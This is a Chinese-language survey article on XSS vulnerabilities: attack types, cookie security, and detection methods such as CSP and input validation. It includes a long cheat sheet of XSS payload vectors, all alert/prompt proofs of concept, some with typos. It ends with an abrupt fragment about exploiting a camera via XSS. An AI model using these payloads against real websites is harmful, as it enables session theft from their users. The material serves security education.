XSS漏洞檢測(cè)方法綜述
隨著應(yīng)用層的攻擊越來越多,它已經(jīng)成為網(wǎng)絡(luò)安全的嚴(yán)重威脅。
對(duì)于大量應(yīng)用程序來說,這已經(jīng)是最大的安全性問題,特別是那些高可用性操作或優(yōu)先服務(wù)中實(shí)現(xiàn)的應(yīng)用程序,如醫(yī)療、銀行、電子商務(wù)等。
根據(jù)《2018年全球安全報(bào)告》(global security report 2018)給出的數(shù)據(jù),平均每個(gè)應(yīng)用程序大約有11個(gè)漏洞隱患。
這份報(bào)告顯示,網(wǎng)絡(luò)攻擊正變得越來越具體、越來越頻繁、越來越復(fù)雜。
其中,所占攻擊比重最大的是跨站點(diǎn)腳本攻擊(XSS),占總體攻擊的40%,緊接著是SQL注入24%,cross-section為7%,本地文件包含4%,分布式拒絕服務(wù)(DDoS)為3%。
當(dāng)web應(yīng)用程序從受害者計(jì)算機(jī)的瀏覽器執(zhí)行惡意代碼(通常以腳本的形式)時(shí),就會(huì)發(fā)生XSS攻擊。通過這種攻擊,攻擊者會(huì)竊取個(gè)人信息,或者竊取用戶的cookies。
根據(jù)CWE/SANS列出的前25個(gè)最危險(xiǎn)的漏洞,分為三類
1. 組件之間的不安全交互(6個(gè)錯(cuò)誤)
2. 風(fēng)險(xiǎn)資源管理(8個(gè)錯(cuò)誤)
3. 多孔性防御(11處錯(cuò)誤)
XSS全稱跨站腳本(Cross Site Scripting),為不和層疊樣式表(Cascading Style Sheets, CSS)的縮寫混淆,故縮寫為XSS??缯军c(diǎn)腳本(XSS)攻擊是一種注射型攻擊,攻擊者在可信的網(wǎng)頁(yè)中嵌入惡意代碼,用戶訪問可信網(wǎng)頁(yè)時(shí)觸發(fā)XSS而被攻擊。
若被利用XSS漏洞:
l web應(yīng)用程序的內(nèi)容可用來插入各種廣告,影響商業(yè)網(wǎng)站的聲譽(yù)或欺騙用戶
l 從開放會(huì)話中竊取會(huì)話cookie,并在這些會(huì)話在線時(shí)提取信息
l 竊取或冒充合法用戶的身份,竊取個(gè)人信息
l 如果攻擊者濫用這些被竊取的信息,用戶的HTTP會(huì)話可能會(huì)被破壞或劫持
XSS攻擊的類型
反射型XSS
在這種類型中,攻擊者放置一個(gè)腳本來竊取受害者的cookie,接收到該cookie后,攻擊者可以使用受害者的權(quán)限執(zhí)行操作,而不需要使用任何類型的密碼。
這種攻擊在搜索引擎中很常見,通常是通過表單、url、cookies、flash程序甚至視頻注入代碼。
通過這種方式,代碼可通過第三種機(jī)制被重定向。例如,通過電子郵件,攻擊者可以說服用戶點(diǎn)擊message中的鏈接來執(zhí)行任何JavaScript代碼。
其結(jié)果是將用戶的流量重定向到攻擊者的web應(yīng)用程序
如果所述Web應(yīng)用程序存在XSS漏洞,則其執(zhí)行將在承載該應(yīng)用程序的Web站點(diǎn)的可信環(huán)境中執(zhí)行。
存儲(chǔ)型XSS
攻擊者將HTML代碼直接注入允許訪問的web頁(yè)面或站點(diǎn)
這種攻擊需要編程標(biāo)記(如JavaScript腳本),這些代碼在第一次攻擊后對(duì)所有用戶都是永久的。
攻擊者發(fā)送的數(shù)據(jù)永久地存儲(chǔ)在服務(wù)器上,然后顯示給訪問網(wǎng)站的用戶。其結(jié)果包括:允許執(zhí)行代碼來獲得提升的特權(quán),默認(rèn)用戶激活了他們的管理員帳戶。
DOM型XSS
是一種更復(fù)雜、常見的攻擊
不同之處在于,惡意代碼是通過URL注入的,而不是在源代碼中作為web的一部分加載的。
檢測(cè)起來比較困難,它被認(rèn)為是一個(gè)本地的XSS。
當(dāng)一個(gè)被感染的頁(yè)面被打開時(shí),惡意代碼會(huì)利用一些漏洞將自己安裝到web瀏覽器的一個(gè)文件中,并且在沒有任何預(yù)先驗(yàn)證的情況下執(zhí)行。
與反射行XSS一樣的是,這種攻擊需要用戶單擊鏈接,因此web頁(yè)面上的腳本選擇URL變量并執(zhí)行它所包含的代碼。這種方法在竊取會(huì)話cookie方面更有效。
泄露存儲(chǔ)在用戶cookies中的信息:用戶可以在客戶端創(chuàng)建一個(gè)腳本,該腳本一旦執(zhí)行,就會(huì)執(zhí)行一些活動(dòng),比如將站點(diǎn)中的所有cookie解析為一個(gè)特定的電子郵件地址。
通過XSS攻擊竊取COOKIE
這些攻擊通常用于在數(shù)據(jù)庫(kù)中竊取cookies,因此,攻擊者執(zhí)行任意腳本,從受害者的計(jì)算機(jī)中提取個(gè)人信息。
默認(rèn)情況下,cookie是維護(hù)用戶和web應(yīng)用程序之間的會(huì)話身份驗(yàn)證的機(jī)制。但是,它們有固有的安全弱點(diǎn),允許攻擊這些會(huì)話的完整性。建議使用HTTPS協(xié)議來保護(hù)cookie,但是性能方面的成本很高,特別是對(duì)于那些高分布度的應(yīng)用程序。
另一方面,即使啟用了HTTPS協(xié)議,cookie也可以以多種方式公開。大多數(shù)cookie以文本文件或小型數(shù)據(jù)庫(kù)的形式存儲(chǔ)在用戶的計(jì)算機(jī)中,如SQLite格式(Mozilla Firefox)。它的目標(biāo)是存儲(chǔ)與導(dǎo)航首選項(xiàng)、會(huì)話、憑據(jù),諸如瀏覽器類型或用于訪問網(wǎng)站的設(shè)備類型等相關(guān)的信息。
以下是最常見的cookies類型
1. Session Cookie
這個(gè)類型的cookie只在會(huì)話期間內(nèi)有效,即當(dāng)關(guān)閉瀏覽器的時(shí)候,它會(huì)被瀏覽器刪除。
設(shè)置session cookie的辦法是:在創(chuàng)建cookie不設(shè)置Expires即可。
2. Persistent Cookie
持久型cookie顧名思義就是會(huì)長(zhǎng)期在用戶會(huì)話中生效
當(dāng)你設(shè)置cookie的屬性Max-Age為1個(gè)月的話,那么在這個(gè)月里每個(gè)相關(guān)URL的http請(qǐng)求中都會(huì)帶有這個(gè)cookie。所以它可以記錄很多用戶初始化或自定義化的信息,比如什么時(shí)候第一次登錄及弱登錄態(tài)等。
3. Secure cookie
安全cookie是在https訪問下的cookie形態(tài),確保cookie在從客戶端傳遞到Server的過程中始終加密的。有效的降低了cookie被盜取的概率。
4. HttpOnly Cookie
目前主流的瀏覽器已經(jīng)都支持了httponly cookie
IE5+/Firefox 1.0+
Opera 8.0+/Safari/Chrome
在支持httponly的瀏覽器上,設(shè)置成httponly的cookie只能在http(https)請(qǐng)求上傳遞。
也就是說httponly cookie對(duì)客戶端腳本語(yǔ)言(JavaScript)無效,從而避免了跨站攻擊時(shí)JS偷取cookie的情況。當(dāng)使用javascript在設(shè)置同樣名字的cookie時(shí),只有原來的httponly值會(huì)傳送到服務(wù)器。
5. 3rd-party cookie
第一方cookie是cookie種植在瀏覽器地址欄的域名或子域名下
第三方cookie則是種植在不同于瀏覽器地址欄的域名下
例如:用戶訪問a.com時(shí),在ad.google.com設(shè)置了個(gè)cookie,在訪問b.com的時(shí)候,也在ad.google.com設(shè)置了一個(gè)cookie。
6. Super Cookie
Super Cookie是設(shè)置公共域名前綴上的cookie。通常a.b.com的cookie可以設(shè)置在a.b.com和b.com,而不允許設(shè)置在.com上。
目前,大多數(shù)web應(yīng)用程序使用cookie來維護(hù)與用戶的會(huì)話狀態(tài),也就是說,cookie是在用戶通過身份驗(yàn)證(會(huì)話cookie)后發(fā)送的。對(duì)于以后的連接,將不需要額外的身份認(rèn)證,因?yàn)轵?yàn)證后的cookie只會(huì)在允許新請(qǐng)求時(shí)進(jìn)行驗(yàn)證。
這種身份驗(yàn)證功能使cookies成為攻擊者的潛在目標(biāo),因?yàn)樗鼈兪怯删W(wǎng)站創(chuàng)建的,包含少量數(shù)據(jù),可以在發(fā)送方和接收方之間發(fā)送。
例如,一個(gè)用戶第一次訪問一個(gè)web頁(yè)面,他的計(jì)算機(jī)上保存了一個(gè)cookie。如果用戶稍后訪問同一頁(yè)面,網(wǎng)站服務(wù)器會(huì)請(qǐng)求相同的cookie用站點(diǎn)的新配置更新它,這就是用戶的訪問變得如此個(gè)性化的原因。
如圖,對(duì)于不安全的會(huì)話cookie和非安全類型的會(huì)話cookie,根據(jù)漏洞類別的補(bǔ)救率小于20%。
當(dāng)前補(bǔ)救率根據(jù)類型的漏洞
此外,如圖,開發(fā)人員總是面向修復(fù)或糾正最易訪問或最容易的問題。
例如,應(yīng)用程序的錯(cuò)誤設(shè)置的補(bǔ)救率為74%,未修補(bǔ)的庫(kù)的補(bǔ)救率為62%。然而,最復(fù)雜和困難的解決方案仍然是XSS(38%)和SQL注入(32%)。
根據(jù)XSS漏洞的類別確定修復(fù)率
常見標(biāo)簽
<scirpt>標(biāo)簽
<scirpt>alert("xss");</script>
<img>標(biāo)簽
<img src=javascript:alert("xss")>
<IMG SRC=javascript:alert(String.formCharCode(88,83,83))>
<img scr="URL" style='Xss:expression(alert(/xss));'
<img STYLE="background-image:url(javascript:alert('XSS'))">
<img src="x" onerror=alert('xss')>
<img src="1" onerror=eval("alert('xss')")>
<img src=1 onmouseover=alert('xss')>
<a>標(biāo)簽
<a href="javascript:alert('xss')">aa</a>
<a href=javascript:eval(alert('xss'))>aa</a>
<a href="javascript:aaa" onmouseover="alert(/xss/)">a</a>
<a href="" onclick=alert('xss')>aa</a>
<a href="" onclick=eval(alert('xss'))>aa</a>
<a href=kycg.asp?ttt=1000 onmouseover=prompt('xss') y=2016>aa</a>
<input>標(biāo)簽
<input value="" onclick=alert('xss') type="text">
<input onfocus="alert('xss');">
<input name="name" value="" onmouseover=prompt('xss') bad="">
<input onblur=alert("xss") autofocus><input autofocus>
<input onfocus="alert('xss');" autofocus>
<input name="name" value=""><script>alert('xss')</script>
<form>標(biāo)簽
<form action=javascript:alert('xss') method="get">
<form action=javascript:alert('xss')>
<form method=post action=aa.asp? onmouseover=prompt('xss')>
<form method=post action=aa.asp? onmouseover=alert('xss')>
<form action=1 onmouseover=alert('xss)>
<form method=post action="data:text/html;base64,<script>alert('xss')</script>">
<form method=post action="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
<details>
<details ontoggle="alert('xss');">
<details open ontoggle="alert('xss');">
<svg>
<svg onload=alert("xss");>
<select>
<select onfocus=alert(1)></select>
<select onfocus=alert(1) autofocus>
<iframe>標(biāo)簽
<iframe onload=alert("xss");></iframe>
<iframe src=javascript:alert('xss');height=5width=1000 /><iframe>
<iframe src="data:text/html,<script>alert('xss')</script>"></iframe>
<iframe src="data:text/html;base64,<script>alert('xss')</script>">
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
<iframe src="aaa" onmouseover=alert('xss') /><iframe>
<iframe src="javascript:prompt(`xss`)"></iframe>
<svg>標(biāo)簽
<svg onload=alert(1)>
<video>
<video><source onerror="alert(1)">
<audio>
<audio src=x onerror=alert("xss");>
<body>
<body/onload=alert("xss");>
<body onscroll=alert("xss");><br><br><br><br>
<textarea>
<textarea onfocus=alert("xss"); autofocus>
<keygen>
<keygen autofocus onfocus=alert(1)>
<marquee>
<marquee onstart=alert("xss")></marquee>
<isindex>
<isindex type=image src=1 onerror=alert("xss")>
expression屬性
<img style="xss:expression(alert('xss''))">
<div style="color:rgb(''x:expression(alert(1))"></div>
<style>#test{x:expression(alert(/XSS/))}</style>
background屬性
<table background=javascript:alert(1)></table>
檢測(cè)XSS的辦法
1. 內(nèi)容安全策略(CSP):內(nèi)容安全策略是一種安全標(biāo)準(zhǔn),用于防止XSS、點(diǎn)擊劫持攻擊和其他類型的彈出式攻擊,這些攻擊是在網(wǎng)頁(yè)內(nèi)容中執(zhí)行惡意內(nèi)容的結(jié)果。它是W3C工作組關(guān)于現(xiàn)代web瀏覽器支持的web應(yīng)用程序安全性的建議。
2. 使用這種方法,開發(fā)人員必須聲明瀏覽器將上載到其網(wǎng)站的內(nèi)容的批準(zhǔn)來源,例如,JavaScript、CSS、HTML框架、字體、圖像、可嵌入對(duì)象(如Java、ActiveX、音頻和視頻文件)和其他HTML5特性。
3. 輸入文本驗(yàn)證:此方法是防御XSS攻擊的更常見類型。這種對(duì)不可靠的文本條目的處理是通過模塊的編程來過濾和分析文本的。
4. 庫(kù)或框架:包括微軟的反XSS庫(kù),這是一個(gè)免費(fèi)開放的集合,收集了開發(fā)人員構(gòu)建一個(gè)名為OWASP ESAPI和ApacheWicket的安全web應(yīng)用程序所需的所有安全方法。
5. XSSer:也稱為跨站“腳本”,是一個(gè)用于檢測(cè)和利用XSS漏洞的自動(dòng)Web測(cè)試框架工具,它包含幾個(gè)試圖繞過某些過濾器的選項(xiàng)和一些代碼注入的特殊技術(shù)。它是由OWASP開發(fā)的一種開源項(xiàng)目XSS。
利用XSS獲取圖像
官方可能已經(jīng)修復(fù)了它,顯然,人們現(xiàn)在需要開始關(guān)心物理接近利用這個(gè)問題,雖然它并不是一個(gè)巨大的漏洞。但它確實(shí)說明供應(yīng)商需要小心驗(yàn)證來自任何源的輸入,而不僅僅是Web界面上的GET/POST參數(shù)
如果你想做點(diǎn)更有意思的事,可以使用這個(gè)腳本:
https://github.com/pentestpartners/bits-for-blog/blob/master/annke-spin.js讓攝像頭進(jìn)行平移
附上代碼
來源︱物聯(lián)網(wǎng)IOT安全